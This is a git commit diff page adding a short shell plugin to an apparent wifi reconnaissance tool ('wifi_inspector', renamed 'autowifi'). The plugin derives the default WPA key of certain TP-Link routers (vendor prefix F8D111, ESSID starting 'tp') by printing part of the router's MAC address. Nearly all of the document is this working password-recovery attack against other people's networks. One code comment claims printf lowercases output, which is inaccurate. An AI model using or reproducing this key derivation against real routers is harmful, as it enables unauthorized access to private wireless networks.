diff options
author | lassulus <lass@aidsballs.de> | 2014-12-22 20:09:43 +0100 |
---|---|---|
committer | lassulus <lass@aidsballs.de> | 2014-12-22 20:09:43 +0100 |
commit | 3a7a49b9bda4b2df849db827c61aa347a68a96be (patch) | |
tree | 4d0627a7715463f685ce1f48413e6138b236f1f6 /recon/wifi_inspector/plugins/02tplink | |
parent | a2a46c90db37740ac0d033652bd667ee8c3f55d9 (diff) |
wifi_inspector > autowifi (better name anyuway)
Diffstat (limited to 'recon/wifi_inspector/plugins/02tplink')
-rwxr-xr-x | recon/wifi_inspector/plugins/02tplink | 17 |
1 files changed, 17 insertions, 0 deletions
diff --git a/recon/wifi_inspector/plugins/02tplink b/recon/wifi_inspector/plugins/02tplink new file mode 100755 index 00000000..751ec209 --- /dev/null +++ b/recon/wifi_inspector/plugins/02tplink @@ -0,0 +1,17 @@ +#!/bin/sh +# Implementation of TP-Link default WPA Key +# Based on +# http://www.wardriving-forum.de/forum/f321/ezwlan-android-2-1-a-70045-4.html#post342481 + +cd $(dirname $(readlink -f $0)) +. ./plugin_core + +parse_plugin_args "$@" + +! check_vendor_mac $VENDOR_MAC "F8D111" && echo "$VENDOR_MAC not affected" && exit 1 +! echo $ESSID | egrep -q '^tp' && echo "$ESSID not affected" && exit 1 + + +# printf always makes string to lower, need that for correct md5sum +printf ${MAC:4:12} +exit 0 |